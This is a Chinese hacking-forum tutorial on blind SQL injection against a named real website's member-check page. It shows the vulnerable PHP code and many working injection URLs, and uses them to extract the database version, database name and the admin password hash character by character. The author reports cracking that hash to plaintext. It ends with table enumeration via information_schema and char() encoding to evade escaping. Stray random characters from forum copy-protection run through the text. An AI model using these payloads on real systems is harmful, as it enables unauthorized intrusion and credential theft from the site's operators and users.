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本文实例来自习科论坛交流三群。这个注入点可以使用错误回显注入来爆数据,本文出于讲解的目的,使用更麻烦的盲注。5 {9 ?5 R; f0 `* T0 n
阅读本文,需要有一点点SQL基础。盲注理解起来其实非常简单,就是做起来非常费劲0 e$ a8 j! D4 \
作者:YoCo Smart
) C+ X$ z3 B# `& Z来自:习科信息技术 - http://BlackBap.Org0 e* \+ O# m7 E' E' h" i
我们先来看注入点,是一个B2B网站建站公司: - http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin
- 用户名已被注册
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'
- select userid from demo_b2b_member where user = 'admin''You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''admin''' at line 1) f8 X. s+ H5 j' p& |0 z
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. @- P$ d! N9 y2 z4 T, D# ^; Y- z错误提示已经很明了了。我们看一下注入页面的代码(有删改): - $js_user = trim($_GET["js_user"]);
- if($js_user){
- $num = $db->num_rows("select userid from demo_b2b_member where user = '$js_user'");
- if(!$num)
- echo "<div class=tips3></div>";
- else
- echo "<div class=tips2>用户名已被注册</div>";
- }
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以GET方式取值的变量js_user虽然没有过滤被直接带入了数据库执行,并且MySQL也执行了,但是并没有显示数据库的任何信息,而是判断是否符合
w# C! L' `6 u2 k: G0 P# b R4 u) I$ T那么我们先从union的盲注来看吧。- q3 I- V5 v1 D
先看版本: - http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(version(),1)=5%23# q* X) P h7 \& l% r. Q: n
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# x5 f& H, E6 C* L2 b0 q( i3 m这个时候我们来看看原来的代码中的SQL语句是怎么执行的: - select userid from demo_b2b_member where user = 'admin'and left(version(),1)=5#'3 W# v! b% t( l: W: M6 |) r
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因为执行成功,所以不符合if(!$num)这个条件,回显“用户名已被注册”,那么版本为5成立3 V- L' m5 c2 g9 @& y
再来看database()的数据: - http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+length(database())=6%23
- database()长度6
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(database(),1)='l'%23
- l
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(database(),2)='li'%23
- li
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(database(),3)='lic'%23
- lic
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(database(),4)='licl'%23
- licl
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(database(),5)='licln'%23
- licln
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(database(),6)='liclny'%23
- licclny! \; X* J8 O6 Y: E8 j, }( e
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length()函数是计算括号中数据的长度,回显为纯数字,可以用大于小于和等于号来判断是否正确。
) ]' b4 h9 |' `, U. [4 p这里要注意看一下left()函数中的数字变化,关于left()函数,可以自行参考MySQL手册。2 v$ B& L: r# r3 M" M" I) j* P2 n
再来看一点简单的判断句: - http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+length(pass)=32%23
- select userid from demo_b2b_member where user = 'admin'and length(pass)=32#') D) K7 t- h* L' g a
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2 Y/ F, A1 v; u8 o9 a+ z9 I这个时候length()函数中的pass是猜测的,当然是建立在猜测正确的基础上。
& a" } g7 C% T' h这里要说的是,pass和前面select后的userid同属一个表段demo_b2b_admin,所以不需要再带select语句4 x9 j6 w5 g; S$ c/ Y
那么这里就能得到: - 这里最后没有'#这个终止符,大家带进去看一下,你们懂得。前开后闭。
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,1)='0
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,2)='04
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,3)='048
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,4)='0484
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,5)='04843
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,6)='04843e
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,7)='04843e9
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,8)='04843e9f
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,9)='04843e9f9
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,10)='04843e9f91
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,11)='04843e9f91a
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,12)='04843e9f91ad
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,13)='04843e9f91adf
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,14)='04843e9f91adf2
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,15)='04843e9f91adf22
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,16)='04843e9f91adf228
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,17)='04843e9f91adf2287
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,18)='04843e9f91adf2287c
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,19)='04843e9f91adf2287c0
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,20)='04843e9f91adf2287c0a
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,21)='04843e9f91adf2287c0af
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,22)='04843e9f91adf2287c0af5
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,23)='04843e9f91adf2287c0af5f
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,24)='04843e9f91adf2287c0af5fe
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,25)='04843e9f91adf2287c0af5fe1
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,26)='04843e9f91adf2287c0af5fe16
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,27)='04843e9f91adf2287c0af5fe167
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,28)='04843e9f91adf2287c0af5fe1675
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,29)='04843e9f91adf2287c0af5fe16750
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,30)='04843e9f91adf2287c0af5fe16750a
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,31)='04843e9f91adf2287c0af5fe16750a3
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,32)='04843e9f91adf2287c0af5fe16750a35
- 长度是32,是md5加密,解密得到lcl2wly8 o' i* ^$ f" m, B- `3 v
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{- M% O9 T; B5 y这样,猜数据的方法你肯定是懂了
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最后,我们来看demo_b2b_admin以外的数据,现在再来猜表段: - http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+length((select+table_name+from+information_schema.tables+limit+0,1))<100%23
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+length((select+table_name+from+information_schema.tables+limit+0,1))=14%23
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实际运行的SQL语句就是: - select userid from demo_b2b_member where user = 'admin'and length((select table_name from information_schema.tables limit 0,1))=14#'' g0 m& V7 }6 U
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" w1 ^* g$ ^! j0 q( A( V: S上面这个语句,对于information_schema不明白的,可以参考其他MySQL注入文章来看一下这个库的意义。) [( E# [! A7 _7 F+ w
关于limit x,y 的用法,可以参考MySQL手册
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/ T1 L }7 z" s6 e% v# X" s最后剩下的要说的就是ascii函数和hex函数了5 u& G6 a. C9 l4 |& J' E2 O& F" X
这两个函数的意义是避开php的GPC转义,例如: - http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+substr(left(pass,1),1,1)=char(48)%23
- select userid from demo_b2b_member where user = 'admin'and substr(pass,1,1)=char(48)#
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# {4 L" N# e n& Z* tsubstr()的用法可以参考MySQL手册,如果不懂,就这样套好了。Char()里面的数字替换为ascii码数字 |
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